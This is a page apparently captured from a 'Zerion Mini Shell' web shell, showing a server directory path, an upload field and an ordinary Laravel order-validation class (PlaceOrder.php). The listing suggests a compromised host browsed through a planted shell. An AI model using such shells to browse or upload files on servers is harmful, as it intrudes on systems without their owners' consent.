ok

Mini Shell

Direktori : /home2/selectio/www/fms-worksuite/app/Http/Requests/Orders/
Upload File :
Current File : //home2/selectio/www/fms-worksuite/app/Http/Requests/Orders/PlaceOrder.php

<?php

namespace App\Http\Requests\Orders;

use Illuminate\Foundation\Http\FormRequest;

class PlaceOrder extends FormRequest
{

    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        return true;
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        $rules = [];

        $rules['status'] = 'sometimes|in:pending,on-hold,failed,processing,completed,canceled';

        $rules['order_number'] = 'required|unique:orders,order_number,null,id,company_id,' . company()->id;

        if (request()->has('client_id')) {
            $rules['client_id'] = 'required';
        }

        return $rules;
    }

    public function messages()
    {
        return [
            'client_id.required' => __('modules.projects.selectClient')
        ];
    }

}

Zerion Mini Shell 1.0